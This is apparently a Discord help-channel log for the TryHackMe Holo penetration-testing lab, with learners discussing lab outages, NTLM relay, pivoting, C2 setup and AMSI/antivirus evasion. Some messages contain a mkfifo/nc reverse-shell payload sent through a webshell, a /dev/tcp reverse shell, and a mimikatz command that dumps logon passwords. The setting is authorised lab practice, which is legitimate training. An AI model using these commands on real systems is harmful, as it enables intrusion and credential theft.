#holo-network

1 messages · Page 10 of 1

frail axle
#

PC-FILESRV01 in 10.200.110.0 does not receive any SMB connections - literarily 0. I checked that with Wireshark (tcp.port == 445). Executing NTLM Relay is not feasible. Restarting PC-FILESSRV01 did not help. I will reset the network but it is the second network with such issues (10.200.128.0 has them as well). Is it a common issue? Anybody had it? Is resetting the network going to resolve it?

wind bobcat
#

@lone spruce do you want me to rebuild S-SRV02 this weekend

#

well, next

#

I think S-SRV02 was also cloned and it broke priv esc

solid timber
frail axle
hollow steepleBOT
#

Gave +1 Rep to @solid timber

lone spruce
weak escarp
#

Hi

oak atlas
#

Is there a way to use burp with a website over sshuttle? It doesn't seem to work for me

#

And I can kinda understand why, just me and google dont seem to have a solution

#

I used ss -anpt to find that sshuttle listens on localhost 12300, so I made a rule in burp upstream proxies to send all upstream traffic to localhost 12300, but it seems to not go through as the webpage at 10.200.131.31 doesnt load

quiet raft
cinder notch
#

I never got around to finishing the AV stuff, but I don't think I had any problem with running burpsuite through sshuttle.

wise quarry
#

Hey, im having trouble with AV dectection, my amsi bypass seems to be working because the server requests the payload (obfuscated powershell reverse shell) from my server.
but thats as far as i can get, can anyone give me sanity check on this process

solid timber
wise quarry
solid timber
#

gotcha

wise quarry
#

which didnt work

#

i then dumped the hashes and i can pass the hash with crackmapexec using smb, but get no answer on winrm, is that intended?

solid timber
#

yes

wise quarry
hollow steepleBOT
#

Gave +1 Rep to @solid timber

frail axle
#

Is NTLM relay fixed?

lone spruce
#

What? None of that needs to happen when a network is reset? And a network requires some pretty strict requirements to be reset

lone spruce
frail axle
#

@wind bobcat Do you know when NTLM relay will be fixed?

rain mauve
#

hi guys, i have a problem with grunts stager in covenant.... i have followed rastamouse guide and change covenant signature checked by threatcheck.exe and upload it on the server S-SRV01 and it works but when i receive the grunts in covenant it don't work it tell me that grunts is untrusted or unitialized when i launch powershell whoami command...anyone can tell me why?

mighty marsh
#

hello

dense swallow
#

@frail axle where you able to complete dll injection

frail axle
mighty marsh
#

Is anyone online?

dense swallow
mighty marsh
#

in

austere grove
wind bobcat
#

requesting the machine to be spun up

terse palm
#

Hello, network is up , but I can't see any machines . pls someone dm me

glacial meadow
#

ntlm relay not fixed yet?

wind bobcat
#

we're waiting for the VM be deployed into the network dev segment

#

getting anything done during aoc is essentially impossible lol

frail axle
#

Is NTLM relay fixed?

wind bobcat
#

...no

frail axle
hollow steepleBOT
#

Gave +1 Rep to @wind bobcat

frail axle
# wind bobcat ...no

Any view when it will be fixed? This is the last task that I need to do in order to complete Holo.

wind bobcat
#

I cannot provide any time estimate. AOC is going in and all thm staff are swamped.

frail axle
lone spruce
#

No it has nothing to do with nmap

signal pasture
#

The Holo network also doesn't appear to be responding to me (or at least; poorly). It was working earlier today, but now a ping doesn't get a response.

signal pasture
#

Okay so the 'main' website (DC-SRV01) is listed as being hosted on 10.200.178.30 on THM, but appears to actually be hosted at 10.200.178.33.

Adding the following to my hosts file allows me to continue working:

10.200.178.33 holo.live
10.200.178.33 www.holo.live
10.200.178.33 admin.holo.live
10.200.178.33 dev.holo.live

wind bobcat
#

the main website is hosted on L-SRV01.

#

its displayed correctly.

signal pasture
#

Aaaaah! I somehow figured the DC was the main one as it was on the top, but you're totally right! Thanks!

rigid carbon
#

Knock knock!!! I am on task 28. Which user wordlist should i use?

rigid carbon
#

OOhh yeah got that sorry i already had that.

rigid carbon
#

hello mate! I am on task 28 how can we get that of reset token. i got user-token but not reset_token.

#

I mean i did forget password got user token and phpsessionID now how can i login?

rigid carbon
sonic arch
#

L-SRV01 is dead (at least for me). I had chisel running on it, when suddenly the connection broke down. It also is not reachable over ssh anymore... Tried leaving the room and entering it again. No success. Tried regenerating the ovpn file, no success either. Anyone else experiencing issues like this?

wind bobcat
#

that sounds like another user shutdown the server tbh

#

either that or its related to the AWS troubles

rigid carbon
rigid carbon
#

do you guys have problem running sshuttle? i am still facing it.

#

Ok fixed...

#

Bomm!! Connect with everything.... Everything working fine now.

rain orbit
#

Hey guys, I am stuck on finding the password in task 17, can I get a hand

rigid carbon
nimble palm
#

Ok I must be doing something wrong. I’m stuck on trying to root pc-filesrv01. No way to run the vulnerable app and no scheduled task

rigid carbon
rigid carbon
#

But if you wanna try and dive deeper you can download the same app on your local system and try.

nimble palm
rigid carbon
nimble palm
#

It’s not. There are no scheduled tasks in the users directory

#

Nothing calls that app, that’s what I’m saying

rigid carbon
#

DM

nimble palm
#

Ok so we’ll call it a bug. On to other things

#

Thanks @rigid carbon

hollow steepleBOT
#

Gave +1 Rep to @rigid carbon

rigid carbon
rain orbit
nimble palm
foggy spire
#

IDK what i am doing wrong but i am stuck at the task 43 and yes its kinda shameful but please help 😅

#

any help would be appreciated

rigid carbon
foggy spire
#

any Moderator can please check the holo machine for task 43 priv esc

nimble palm
#

Another user pointed me at a different path than the scheduled task, it involves a printer. What a nightmare. I can’t pivot to the last box though so I’m giving up for now

solid timber
nimble palm
quiet raft
foggy spire
#

Oh my bad

#

I mean admins who controls the machines

foggy spire
rigid carbon
#

I tried to create another schedule task with few other path which i got from applocker_bypass_checker and task triggered and as expected asked for admin privileges but didn't get shell

#

still working on that.

rigid carbon
#

Boommm!!!! and Done.

frail axle
#

Is NTLM relay fixed?

molten horizon
wind bobcat
#

what's xxx.10.200.126.33?

molten horizon
#

its subdomain of first web server

wind bobcat
#

I can tell you it's not suppose to be www.10.200.126.33

#

or dev.10.200.126.33

#

it's suppose to be www.holo.live

#

or dev.holo.live

molten horizon
#

i added this ip as holo.live in hosts, but it didnt help

wind bobcat
#

if you're calling the IP address and not holo.live of course it won't help

#

it does DNS -> IP translation, not IP -> DNS

molten horizon
#

ok, but i dont understand what should i do to make it work ?

wind bobcat
#

if you're trying to enumerate files and directories on the webserver:
gobuster dir -u www.holo.live -w /path/to/wordlist

if you're trying to enumerate subdomains:
gobuster vhost -u holo.live -w /path/to/wordlist

#

with your /etc/hosts file having

10.200.126.33      holo.live

in it

#

and for each new subdomain you discover, add 10.200.126.33 newsubdomain.holo.live

#

then you can access it like you normally can for a standard website.

molten horizon
#

oh, thanks)

foggy spire
rigid carbon
wild hatch
#

its not normal for none of the machines to respond to nmap and pings, right?

fiery lagoon
#

hi guys
i need help with the PC-FILESRV01, i can not run the application kavremover because it is blocked
any hints? ideas?

unknown.png
wind bobcat
#

you're not suppose to run it.

#

not on pc-filesrv anyways..m

foggy spire
#

it is a scheduled task which is right now not working for some time

foggy spire
#

use this method instead

fiery lagoon
hollow steepleBOT
#

Gave +1 Rep to @foggy spire

low lion
#

hello, has anyone had problems regarding the holo network? it timed out for me and when I started it again, i cannot access the initial linux system
i am connected to the VPN

#

can't reset it either, since I need 2 more reset votes

molten horizon
hollow steepleBOT
#

Gave +1 Rep to @foggy spire

zenith delta
#

Hi, I'm having an issue with adding holo.live to my /etc/hosts file. I added the line "10.200.107.33 holo.live", but when I try connections to holo.live within my browser, nothing happens and it just says "unable to connect"... Any idea why ? kinda frustrating... (btw I can connect to the webserver using 10.200.107.33)

#

or "Hmm. We’re having trouble finding that site."

river sage
#

trh removing the www

zenith delta
#

yes, did that as well, still no luck

#

and tried to add the www to etc/hosts

zenith delta
#

finally works... I added www.holo.live in /etc/hosts (as I did prior) and restarted the network... don't know what happened...

frail axle
#

Is NTLM relay fixed?

muted mulch
#

Hey

outer silo
#

Fun challenge even if you can only make it ~90% of the way atm. I was convinced I was doing something wrong and was double and triple checking every command only to see there are some known issues with step 43+

zenith delta
#

Kinda stuck with the amsi bypass and everything, any idea ? Thanks...

zenith delta
#

(I've managed the AMSI part, but don't understand how I'm getting a reverse shell...)

#

Ok now something new : I'm getting an error, can't connect back to the machines on the network : no route to host when ssh as linux-admin

#

(shut after the network shutdown because I forgot to add time 🤦)

zenith delta
#

Nevermind, I got it !

zenith delta
zenith delta
#

If I am VIP and started Holo today, will I have access after 9 days?

wind bobcat
#

you need to rejoin after 9 days - this is so users can be evenly distributed across multiple subnets

low lion
#

anyone wanna chat about the room and the info from there? got blocked at some points

zenith delta
low lion
#

that'd be awesome. can i dm u?

zenith delta
#

And I'm stuck, I've got nothing in mod loads, so can't identify an anti-malware solution

unknown.png
zenith delta
zenith delta
zenith delta
hollow steepleBOT
#

Gave +1 Rep to @foggy spire

foggy spire
#

Plus I am currently studying AD for some certs 😅

zenith delta
#

Okay well thank you ! 😉

zenith delta
# foggy spire This community man

Is it normal that procmon doesn't show anything ? Am I missing something ? because the vulnerable ||wow64log.||dll doesn't even exist...

foggy spire
#

That's the thing man

#

Holo is en broken

#

Right now

zenith delta
#

Oh okay... 😢

#

Yeah so we can't go any further for now ?

zenith delta
zenith delta
#

Thanks

quiet raft
quiet raft
zenith delta
#

My bad, I thought the progress was saved but the answers were deleted, but I checked on wreath and you're right !

zenith delta
#

Thank you both!

quiet raft
zenith delta
#

Also, what can I do to be room or/and room tester on @final patio ?

zenith delta
#

Someone that can help me with domain enumeration, please? Task 9-10

zenith delta
muted mulch
#

I need help

#

TASK43
What is the name of the vulnerable application found on PC-FILESRV01

wind bobcat
#

tree /f is your friend.
Remember, portable applications don't need to be installed in the c:\Program* folders.

zenith delta
#

someone online that can help me at tasks 9-10?

muted mulch
#

PC-FILESRV01
Not run ?

#

It is close

#

Im waiting lot time ?

zenith delta
#

its meant to say "tools and tools" correct?

zenith delta
#

Hi guys is there someone who wants to discuss about the av evasion part. I'm able to gain access to the machine through not the intended way however would like to do it. I mean with this generate a covenant grunt and obfuscate in a manner so it can bypass amsi and defender?

frail axle
#

Is NTLM relay fixed on PC-FILESRV01? Just asking.

scarlet grove
#

I am getting

#

even though i have added www.holo.live in etc/hosts

#

Is that broken or am i making any mistake

zenith delta
#

Remove the “www”

#

Should only be “holo.live”

scarlet grove
#

thanks bruh

#

any two please vote for holo network reset

#

webserver is unreachable

solid oasis
#

admin web app is hanging, please vote for a reset

woven wren
#

I don't have any problems with the admin app. It's loading fine for rme.

lone spruce
#

There a lot of different subnets. Please specify

woven wren
#

In task 29

Now that we have successful authentication to the web app we know that we have an upload page, however, from code analysis the page uses client-side filtering meaning we can only upload images.

…but I don't see this. Looking at the JS I don't see anything that would reject files from being uploaded. I can upload any type of file.

I suppose someone could have removed this filter from the js on the server? (This server is in the 10.200.135.0/24 subnet for me)

solid oasis
forest forge
#

Anybody had any problems with the time in covenant?

#

Always have one hour than my system and can’t execute any commands

forest forge
honest oasis
#

Anyone having issues with the VPN IP address not being within the hololive IP range? I get a 10.50.x.x when hololive is a 10.200.x.x. I went ahead and regenerates my VPN and still the same.

zenith delta
#

@honest oasis the scope you’re given is “10.200.x.0”. The third octect is filled in with wtv 3 numbers you were given in your network diagram (L-SRV01). Thats ur scope and u scan the entire subnet (network range) and see what hosts are down or up and go from there

honest oasis
zenith delta
#

My scan looked like this:
sudo nmap -sV -sC -p- -v -oN holo.txt 10.200.x.0/24

#

Can u ping 10.200.x.33? @honest oasis

honest oasis
zenith delta
#

Are u connected to the hololive (network) vpn?

honest oasis
#

I am yes but the hololive VPN has me in a 10.50 range not a 10.200 range

zenith delta
#

Correct

#

My hololive vpn is also 10.50.x.x. But the focus is being able to talk to 10.200

#

U started the network correct?

#

The network state says: running

honest oasis
#

In the current window it has running, yes.

zenith delta
#

Thats weird. I would ask cryllic or spooks then, I dont know what the issue could be lol

honest oasis
#

All good, thanks for helping. I was also not sure cause the tasks never say anything about having to do any routing so wanted to reach out here first

zenith delta
#

Yea no problem. Hopefully ur issue gets fixed soon

sullen adder
#

i cant find the vhost other then www in task10

#

anyone?

zenith delta
#

@sullen adder the vhost enumeration url should be holo.live

sullen adder
#

oh ok

sullen adder
solid oasis
#

Related to Task 36

On S-SRV01 you're supposed to dump a cleartext password using mimikatz, however this doesn't seem to work anymore.

I have a Cobalt Strike beacon on the box and I ran this command:

.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" exit

No clear text password to be found... in the output.

The HTLM hash is crackable with rockyou.txt wordlist though.

solid oasis
#

Also, you're supposed to be able to authenticate to PC-FILESRV01 with the domain creds/NTLM hash dumped before. That also doesn't work.

RDP login does work though...

Maybe someone made some changes here and there?

Network: 10.200.95.0/24

wind bobcat
#

cry designed that portion iirc.
@lone spruce is that intended

cursive epoch
#

Hey

#

Can someone hep on reset the network of Holo please ?

wind bobcat
#

you need to specify the subnet you're in

frail axle
#

@lone spruce Is NTLM relay fixed on PC-FILESRV01? Just asking.

solid oasis
#

@lone spruce There is also no scheduled task on PC-FILESRV01 that runs the vulnerable app to do the PrivEsc.
Network: 10.200.95.0/24

finite tinsel
#

Hi guys! Concerning Task 20 (PrivEsc after escaping the container): The exploit requires sudo to work. However, so far there wasn't any hint or mentioning of that. Did I miss something?

finite tinsel
finite tinsel
#

When I'm creating a default HTTP Listener in Covenant, nothing happens. Covenant is running as root and I have tried different ports... can someone help me pls?

finite tinsel
#

Am I the only one having trouble with Covenant??

solid oasis
#

Haven't played with Covenant for a while but I would expect that basic functionality would just work.
I used Cobalt Strike in the Holo labs, I haven't tried to do it with Covenant.

That being said, you say you created a listener, but did you also create a grunt and ran that on the victim box?

finite tinsel
#

I tried to create a listener. After filling in all the required values and clicking CREATE, there is no listener in the list. So there is no listener to select when creating a launcher or grunt

solid oasis
#

Not sure why that is based in to information you provided. Maybe just try a different c2 framework such as Empire?

wind bobcat
#

could be the port is already in use?

#

likely if you're using the attack box

wind bobcat
#

hey folks, sorry about the delay on SRV02 - The rebuild is almost done.

solid oasis
sullen adder
#

i cant break out of the docker env in task 18

#

i am getting connected as the same user with reverse shell

123.png
worldly plinth
#

0

wind bobcat
wind bobcat
solid oasis
iron oriole
#

hey quick question..

#

I completely understand the concept but I've never setup a server before and they include a index.php file with some *.jpg's and want you to get a "prototype" running on your own LAMP server.. I can get it to load a index.php and other directories but to do a LFI you have to issue a URL such as http://127.0.0.1/img.php?file=CatPics.jpg and I keep getting a 404.. There is no img.php and to my understanding its supposed to load catpics.jpg but well... doesnt.. what am i missing?

calm wharf
#

CatDog room?

iron oriole
calm wharf
#

Do you know that room?

#

Take a look at the one

iron oriole
#

totally thought you was just referring this room because I mentioned catpics.jpg.. Its a LFI room.. 🤦‍♂️

finite tinsel
solid oasis
# finite tinsel Yeah, will try Empire, I guess. Btw, this is the problem: https://github.com/cob...

Oh well, I don't like saying this but that sums up my experience with Covenant to be honest...
When I started playing with it soon after it's first release, I found a lot of problems as well. And this seems to persist. Development is just too slow on this project I feel. And this is in no way a blame to the project maintainers, we're all busy people!

I like the idea of a C# based C2 framework but IMO Covenant isn't mature enough to consider to be used on a real engagement, Empire is still viable in some real world environments and there are other frameworks that are more stable and mature, both open source and paid products.

finite tinsel
sullen adder
#

i am getting this error while submitting the user_token

#

Notice: Undefined index: password in C:\web\htdocs\login.php on line 6

wind bobcat
#

in one screenshot:

sullen adder
#

we loose the 9 day access to holo

#

can we never access it again?

sullen adder
zenith delta
#

Hi, what's the network's status ? Is the ntm relay fixed ?

zenith delta
#

hey guys i got 404 when downloading hololive ovpn file
can anyone help with this tech issue

finite tinsel
#

Question about Tasks 30 - 35 (AV Evasion): Is there anything we are supposed to do (code) here? The texts are all written in a way that suggests we have some kind of coding project, but it never mentions anything in particular. Then, at the end of the last task, it says we have a binary that can avoid detection and that we should deploy with our C2 framework... What binary??

viscid willow
solid oasis
zenith delta
#

Just so you know, you don't have to use covenant or a C2 framework, if it bothers you too much, just craft a simple ps1 reverse shell that bypasses amsi detection and av...

zenith delta
#

Can anyone confirm ntm relay is still broken ?

green cobalt
#

Tried an hour ago. Still no luck 💔

Also there's no scheduled task

zenith delta
hollow steepleBOT
#

Gave +1 Rep to @green cobalt

cursive epoch
#

Hey gents

#

Looking for some guidance on PC-FILESRV01

#

added DLL to appliacation path

#

but i can't initiate the app itself

#

is this expected to be run via a system task ?

#

nothing on it 😐

#

grrr

#

Any tip ?

solid oasis
#

The Holo network is currently broken (see previous messages). Hopefully soon, they'll get it fixed...

pale steeple
#

I'm having issues with the shell of task 35

#

I got RCE using a PHP payload

#

but it seems like the server detects my covenant grunt

#

because I don't get a reaction to my listener

#

I had a different bind port

lilac pond
solid oasis
lilac pond
#

Is there a problem with 10.200.120.0/24? Because I have chisel running and I can't seem to reach S-SRV01 with either netcat or nmap using proxychains

#

But I was able to reach 10.200.120.250

lilac pond
#

Well. At least I got my $60 worth from Throwback

red wolf
#

hello Friends, I am planning to start with Holo Room, but I am afraid I will face the same issues as with wreath, because in wreath some times I was stuck cant connect to the machines., is it the same or better 😄 ?

zenith delta
red wolf
#

thanks @zenith delta , Great Advice ☺️

hollow steepleBOT
#

Gave +1 Rep to @young stump

zenith delta
#

hello, can someone help me at task 10 - what the fuzz?

zenith delta
zenith delta
#

Thanks @zenith delta !

hollow steepleBOT
#

Gave +1 Rep to @young stump

verbal plume
#

has anyone ever ransomed one of the networks lol

#

obviously would just be annoying but was curious

wind bobcat
#

we haven't ever heard of it

#

likely wouldn't work because of lack of outbound network access

verbal plume
#

I mean with VPN access right?

wind bobcat
#

the machines still can't beacon out

#

so the decryption keys would be lost completely, unless said ransomware just didn't care

verbal plume
#

Oh yeah I just meant someone being a jerk

wind bobcat
#

but in all our time, we haven't heard of it

zenith delta
#

Hi , I need some help on task 10 of this network

#

will anyone be able to help on this

#

?

zenith delta
grizzled arch
#

Heyo

#

Is anybody free at the moment . I need some help

zenith delta
#

yep

zenith delta
#

Is anybody free at the moment? I need some help

zenith delta
acoustic osprey
#

Anybody around to give a little push ? i am stuck on a specific task

lethal thistle
#

i can't log into the webapp with the admin creds.

#

It keeps kicking me to the index.php page. is this right?

shell relic
#

Any hint on AMSI bypass, I've a working and tested AMSI-bypass script, which I can't get running on SRV01 for some reason

dire inlet
#

Amsi.fail

zenith delta
#

still no news on the ntm relay fix ?

#

@wind bobcat ?

shell relic
gaunt crown
#

I've rooted l-srv01

#

Is holo network part ment to completed at a strech

#

Or should we start over all again if the network goes down

quiet raft
#

Creds or keys make it easy to get back into that host

acoustic osprey
#

anyone around to give a little nudge on task28 please

zenith delta
#

anyone successfully installed covenant on arch linux?

acoustic osprey
zenith delta
#

can I DM you, I am having trouble installing covenant on arch regarding the SDK

acoustic osprey
#

sure

solid oasis
shell relic
#

Used invoke-psobfuscation.

fringe scarab
#

Hi, can someone tell me why DLL hijacking fails ? I'm working on Holo

solid oasis
fringe scarab
hollow steepleBOT
#

Gave +1 Rep to @solid oasis

odd valve
#

yo really need help here on task 37 "good intentions, courtesy of microsoft: part II" im at the part i got a nt hash and a user and now need to use either crackmapexec or evil-winrm. note im using chisel for the tunneling. but i get nothing. not a single thing comes up idk what im doing wrong. when i type proxychains and when crackmapexec i just gets like [proxychains] strict chain with timeout. banging the head to the wall. plus xfreerdp dont work either. HELP... anyone...

odd valve
#

ntl

#

gona commit death

#

tried sshuttle and work instantly

#

damm

lethal thistle
#

The lab needs to be reset - the web server is down.

lethal thistle
#

Is this seriously how this works? The lab is a shared environment so someone wrecks the web server and now I have to wait until 3 other people agree to reset the environment?

lone spruce
lethal thistle
lethal thistle
#

Yeah so now the webserver is completely offline. Please vote to reset.

random latch
#

Hey, can some one press reset button on holo room? 😄 Need 2 votes. Thanks in advance.

lethal thistle
#

I did but it looks like I voted too recently.

#

I'll vote again after times up

wind bobcat
#

so you all kind of need to tell each other which subnets you're in

lethal thistle
#

Yeah we worked that out

odd valve
#

yo on task 43 i have done everything but the kavremover cant be open just get a pop up saying "this app has been blocked by your system administrator" have i missed something. stuck for like 1 or 2 days

odd valve
#

the dll hijack dont work im just waiting nothing happens

odd valve
#

pls anyone help

odd valve
opal scarab
#

guys, i've done the nmap scan and it resulted 2 ips: 10.200.110.33 and 10.200.110.250 are they correct? because i think only the 10.200.110.33 should appear due the first question at task 8

wind bobcat
#

250 is internal thm infrastructure.

opal scarab
#

so i dont need it for the network yeah?

solid oasis
odd valve
solid oasis
zenith delta
#

need 2 votes to reset network for subnet 192.168.100.xx

#

could anyone help with it

wind bobcat
#

192.168.100.x is the docker Subnet

#

that's the same across all networks

zenith delta
#

oh okay

dapper sandal
#

Anyone having connectivity issues?

#

Labs been in resetting state for over 1h

kind birch
winter barn
#

Task 10 - What file loads images for the development domain?

#

Any nudge ?

dapper sandal
foggy spire
lethal thistle
#

Was anyone able to create a binary grunt launcher that bypasses AMSI and Defender? I ended up having to use a powershell payload.

winter barn
winter barn
lilac pond
#

Hi is the lab working again for NTLM relays? Right now on other things with my homelab and VHL.

ocean hare
#

Hey guys,
when the time runs out and the network state is "stopped" will a restart (not an extend) reset the webserver as well?

opal scarab
#

no

#

its just sleeping

#

guys whats the ip of the webserver? it is not connecting and nmap isnt helpful

ocean hare
#

isnt it showing the ip address in the image at top of the page?

opal scarab
#

thm says L-SRV01=192.168.100.1 and L-SRV02=192.168.100.100 but i cant connect at any of these

winter barn
#

when I type www.holo.live on browser it automatically redirect to https and doesn't load at all ..

ocean hare
opal scarab
#

10.200.110.30

ocean hare
#

i thought that L-SRV01 should start with 10.200.110.X as well and only L-SRV02 should have an 192.168.X.X address.

opal scarab
#

thats the problem

#

i am confused due this

winter barn
#

I checked 10.200.111.33 but don't see port 80 opened

opal scarab
#

i checked all 10.200.100.x/24 10.200.110.x/24 192.168.100.x/24 and no results

winter barn
#

Let's reset the network and see

opal scarab
#

ok, i restarted all and rescanned all and 10.200.110.33 its working thx for the help guys

jovial elm
#

+rep @ocean hare

hollow steepleBOT
#

Gave +1 Rep to @ocean hare

winter barn
#

Still am facing issue with 10.200.111.0/24 segment.. Can people help me with resetr

opal scarab
#

try to restart you guest or wait for the reset of the machine

opal scarab
#

guys im using chisel, the connection is up /etc/proxychains.conf is setted but is not working, any one who can

river cradle
#

@opal scarab what's the chisel command you ran on your machine and what's the command you ran on the remote box?

opal scarab
#

attacker

att.JPG
#

remote box

remote.JPG
river cradle
#

and i presume your proxychains.conf file has socks5 127.0.0.1 1080 at the end?

opal scarab
#

yes

river cradle
#

okay, so that should be fine

#

can you spawn yourself a new ssh session inside the network and try curling the webserver from there directly?

#

maybe it's just dead for some reason

opal scarab
#

config

sock.JPG
opal scarab
winter barn
#

Still Stuck with Task 10 "What file loads images for the development domain?" any help

wind bobcat
#

find an image on dev.holo.live, right click, open in a new tab @winter barn

winter barn
#

Got it ..

zenith delta
#

@wind bobcat any update on the ntmrelay fix ? (Thx)

green cobalt
#

yeah. hoping it will be fixed next week since my subs will end soon.

wind bobcat
#

assuming the machines were cloned last week, it should be fixed.
I haven't had time to test it, I've been busy traveling for work

zenith delta
#

k, I'll try this afternoon then 😉 thanks for the incredible work anyway !

dapper sandal
#

ANyone having network issues?

winter barn
#

Am not able to get Reverse Shell ..

#

No sure the problem

opal scarab
#

can we reset the network pls?

winter barn
#

Which network you are in ?

ocean hare
#

i would say Dio is in the x.x.110.x and Abhi in the x.x.111.x
We had that yesterday already 😄

winter barn
#

haha..

silent gulch
#

Hey guys. I am trying to escape the docker container on L-SRV02.
Here is what I am doing in the container shell
curl 192.168.100.1:8080/shell.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f
and in my attacking machine,
nc -nvlp PORT

I am receiving the shell on my terminal but it is of the container only. I am not receiving the shell of the actual machine.

My confusion: The RCE is on the actual machine. When I do ?cmd=ifconfig, I am able to see the network information of the actual machine, not the container. So, when I am running a reverse shell payload, shouldn't that execute as the actual machine?

wind bobcat
#

otherwise those semi colons are interpreting the command as is

#

the server is only seeing rm, the container is seeing /tmp/;mkfifo...

silent gulch
wind bobcat
#

it would be better if we didn't, others can use this as a learning opportunity

silent gulch
#

sure

#

Want to know the purpose of doing it the way it is shown in the labs.

#

Isn't this much simpler, if done correctly?

wind bobcat
#

how do you mean "if done correctly?"

silent gulch
#

I mean by adding the quotes to the payload

wind bobcat
#

special bash operators aren't interpreted by the machine when wrapped in single quotes, essentially your curl command is forking off into 3-4 different commands.

Really, it has to be done that way if you're using curl. You have one other option which is to url encode the whole command

silent gulch
#

Ah. I get it mate

#

Thanks 🙂

zenith delta
#

I can confirm, the holo network is now working like a charm, inclueding the ntmrelay exploit ! 😉

wind bobcat
#

with that said, if your network hadn't been reset and it still no worky - restart network

wide sky
#

Is the Holo network non-responsive for anyone else?

#

can't even ping the first host

#

seems the VPN might be an issue?

[+] Confirming connectivity
[-] Something went wrong -- please ask for further assistance in the TryHackMe Discord server, subreddit, or forum

#

(from the troubleshoot script, everything else was OK/green)

pine ridge
#

Just did vpn to the holo network, seems everything working fine. Have you tried to access websites via hostnames?

wide sky
#

port 80 isn't even open

#

nmap -Pn -p 80 10.200.142.30
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-14 14:57 EST
Nmap scan report for 10.200.142.30
Host is up.

PORT STATE SERVICE
80/tcp filtered http

Nmap done: 1 IP address (1 host up) scanned in 2.05 seconds

pine ridge
#

Try to scan 100.200.135.33

#

As remmeber, that should be starting point

wide sky
#

not according to my network diagram

pine ridge
#

To navigate you to the web server

wide sky
#

mine lists 10.200.142.30 as the start

#

oh wait I think I looked at the wrong host, but I don't think 135.33 is responding either

#

yeah port 80 is still filtered

#

ok now it's working

#

weird, I scanned it and got no port 80 a few mins ago

pine ridge
#

Nvm, enjoy in hacking lightsaberpepe

wide sky
#

streaming it later 🙂

pine ridge
#

Nice, how much you are planning to cover from Holo network? 🙂

wide sky
#

the entire thing over several streams

lethal thistle
#

I cannot get a Covenant binary launcher to bypass AV. Seems to be AMSI; when I execute the payload I see a a grayed out “untrusted” check in within Covenant. The check in is not actually successful unless I disable Real Time Protection. Anyone gotten a Covenant binary to completely bypass AMSI and Defender?

#

Maybe need to chain an AMSI bypass with a Covenant executable that bypasses Defender? Not sure how to do that however.

lilac pond
#

I’m coming back guys, I just heard the lab is all good. So tonight I’ll get started again

lethal thistle
#

Is it possible to combine an AMSI bypass and the Covenant launcher into one binary?

lilac pond
#

I’ll PM you.

frail axle
#

Is NTLM relay fixed on PC-FILESRV01? Just asking.

zenith delta
frail axle
hollow steepleBOT
#

Gave +1 Rep to @young stump

buoyant marlin
#

Cant seem to log into the admin dashboard, I can enter the username and password but it never logs me in. Any tips?

lilac pond
#

Can we get 1 more vote to reset 10.200.146.x please?

storm prawn
#

Hi, in the holo network. I have added the ip address to the hosts file. But i can not visit the website with the hostname. Is this normal?

solid oasis
storm prawn
#

I added || holo.live, dev.holo.live || to my host file.

solid oasis
#

maybe also try adding www.holo.live

#

I have in total 4 domains added

solid oasis
#

Also try to type the full URL in the address bar of browser like http://holo.live
If not then some browsers do a google search and they default to https.

storm prawn
hollow steepleBOT
#

Gave +1 Rep to @solid oasis

storm prawn
silent gulch
#

Need some help, guys. In the pivoting portion, it seems to me we are pivoting into the "same" network. The IP of our foothold machine is 10.200.133.33 which is the part of the 10.200.133.0/24. Now, with pivoting, we can access the other machines of the same network as well.
My question is that why weren't we able to access these "new" machines before? We knew from the initial info that the network is 10.200.133.0/24. All of the machines that we are now able to "see" are of the same network. How is that now from "within" the 10.200.133.33 machine we are able to see them but not during our initial recon?

static kayak
#

im struggling with the password crack - section "Task 22 - Crack all the things"

#

can anyone help please?

zenith delta
zenith delta
# silent gulch Need some help, guys. In the pivoting portion, it seems to me we are pivoting in...

Correct me if I'm wrong, but I'd say that has to do with routing tables. I'm gessing the network's mask only allows discussions between 10.200.133.x (a mask of 255.255.255.0), but there is a rule that makes .33 accessible from the outside (so it works as a webserver). In pivoting, what you do is you basically send your requests through .33 and therefore, the router lets you discuss with other devices !

silent gulch
#

So, in simpler terms, you mean the network is set-up in such a way that the external devices can only access the .33 machine and not the others even though they are the part of the same network?

zenith delta
#

Yes, because you're not in the network

pine ridge
#

You can test that, with trying accessing some other machine on the network 10.200.133.x before and after pivoting

zenith delta
#

(the network being 10.200.133.0/24)

buoyant marlin
#

Anyone familiar with this issue? Its for Task 13

unknown.png
pine ridge
#

upgrade your shell, you can use python

static kayak
#

@zenith delta DM me please

buoyant marlin
pine ridge
#

Can you post code of the payload?

buoyant marlin
#

it worked the other day when i was working and now im trying to get to where i was

pine ridge
#

Try with this: /bin/bash%20-i%20>&%20/dev/tcp/10.50.125.98/4444%200>&1

buoyant marlin
#

i get nothing back

pine ridge
#

Oh f, have you tried to pass other commands to cmd parameter, to see if you are getting anything?

buoyant marlin
#

just got it, i used what you gave me but added "/bin/bash -c" in front, thank you for the help @pine ridge

hollow steepleBOT
#

Gave +1 Rep to @pine ridge

buoyant marlin
#

the commands were working, i tried "whoami" and "which python3" maybe something weird with that reverse shell idk

pine ridge
#

@buoyant marlin awesome, happy hacking partypussy

buoyant marlin
#

So im trying to upload chisel to L-SRV01 but im coming across an error error while loading shared libraries: libpcre2-8.so.0: cannot open shared object file: No such file or directory im not sure if this is because of the way i got root or the version of chisel i am uploading. I mention the way i got root because I cant find certain tools such as wget when i enter "which wget" but it exists when i go to /mnt/usr/bin/wget . I wont post the command i used for root because i dont want to spoil and idk how to use the spoiler cover over my messages.

lilac pond
#

So for task 34, I am supposed to use a AMSI bypass with a Covenant Launcher right? Powershell launcherr, JavaScript, or C#?

#

I'm kind of held up right now, I wished I installed the Windows Dev VM first before going down all these tasks. Now I am busy converting the VMWare image into a raw disk image for KVM. At least I left a persistent reverse root netcat shell in L-SRV01 so I can backtrack if the network timer goes out.

cinder notch
#

It gives you full access to the file system, but not immediate access to the actual system, if that makes sense

#

You can echo a public ssh key into root’s authorized keys so you can ssh into the actual machine as root, if you want to pivot as the root user

#

However, you do not need root to pivot, you can just use the linux-admin user that you should have cracked a password for

candid wraith
#

OK I'm clearly screwing something up and need a little help on task 9, everytime i run gobuster it says it "found" every single entry in the text list. gobuster vhost -u holo.live -w /usr/share/wordlists/dirb/common.txt

#

anyone know what i'm doing wrong?

lilac pond
#

